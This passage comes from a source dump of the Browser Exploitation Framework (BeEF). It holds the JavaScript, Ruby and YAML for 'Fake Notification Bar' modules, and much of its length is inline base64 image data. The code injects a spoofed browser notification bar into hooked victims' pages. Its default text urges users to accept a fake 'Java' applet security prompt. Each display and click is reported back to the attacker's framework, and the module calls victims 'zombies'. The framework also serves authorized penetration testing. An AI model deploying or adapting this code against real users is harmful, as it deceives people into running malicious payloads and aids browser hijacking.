NqVtC1xgWeAPgcBLJWjslF9+ET453WUdTgAAAABJRU5ErkJggg==);'})\n\tvar elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'})\n\tvar elp = beef.dom.createElement('p',{'id':pid,'style':'padding: 0; margin: 0 50px 0 4px;'});\n\t$j('body').append(el);\n\tvar hid = '#'+id;\n\tvar hpid = '#'+pid;\n\t$j(hid).append(elp);\n\t$j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>')));\n\t$j(hid).append(ell);\n\t$j(hid).append(elr);\n\t$j(hid).click(function() {\n\t\t$j(this).slideUp(300,function() {\n\t\t\t$j(this).remove();\n\t\t});\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification');\n\t});\n\t$j(hid).css('cursor','pointer');\n\t$j(hid).slideDown(300,function() {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed');\n\t});\n\n});\n"
  },
  {
    "path": "modules/social_engineering/fake_notification/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        fake_notification:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Fake Notification Bar\"\n            description: \"Displays a fake notification bar at the top of the screen, similar to those presented in IE.\"\n            authors: [\"xntrik\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/social_engineering/fake_notification/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Fake_notification < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'notification_text',\n        'description' => 'Text displayed in the notification bar',\n        'ui_label' => 'Notification text',\n        'value' => \"This website wants to run the following applet: 'Java' from 'Microsoft Inc'. To continue using this website you must accept the following security popup\" }\n    ]\n  end\n\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/fake_notification_c/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar id = beef.dom.generateID();\n\tvar pid = beef.dom.generateID();\n\tvar zztop = beef.dom.getHighestZindex()+1;\n\tvar el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACIAAAAbCAYAAAAZMl2nAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAHJSURBVEhLzVY7UgMxDF2ZUwEVVJTM0NBxGipOwjUYho6WBlJxAbqQSbLm6ef1GmegyWh35kX+SPKTLDum3ed9HviT3yRN+WhqNh1Vr+ZJPagPIIscpzHXJW2osEEWAK0/7ioiLYGKDGuZg8wrMxPIUQbzkKxPLIUJwnIC6GcyYoVzFTS73qxuxapEBde9ryQgJ3OqMks4WMgICZHJWXFFsOv6tWzSdnXjibVUojvblinlmtfKHQff6h4KwxQ7HNXt9v26IXJge+Zays5I1GR0q+ZfYtXWvlFDvqzCXLJFD+7N56o+ycYoTjogsfHi5K3TuirAfBpGDAgwDnCdccEzxgYyx4XHMJ1hD7v/YISSOIUU2Lq2EDKiDDIGGLx6actqdh5tfj7HxaqYIjGGzrQwnnTdRuwscpS+GhLCcgyZ2Tt2aDO8b/psU+HPFDX6blvW37xdyan3XYuSiXivQCVaYmtwAwqZWIlTUx0RPyoBUotVMhIrafN64X8ToRWr94j8ZcdKbI1fWLEylSvbr+4guZyM+N9ztJSMRN+qvD6tX85/PXm6j6wjD9L389kiiPRftEeOvud+MUTo6+lyEVc8PT6c6hsg+Gn0AyTR5t4bxkW5AAAAAElFTkSuQmCC); background-repeat: repeat-x; background-color: #f6d646; display:none;'});\n\tvar ell = beef.dom.createElement('div',{'style':'width: 29px; height: 100%; padding: 0; margin: 0; position: absolute; left: 0px; top: 0px; background-image: url(data:image/png;base64,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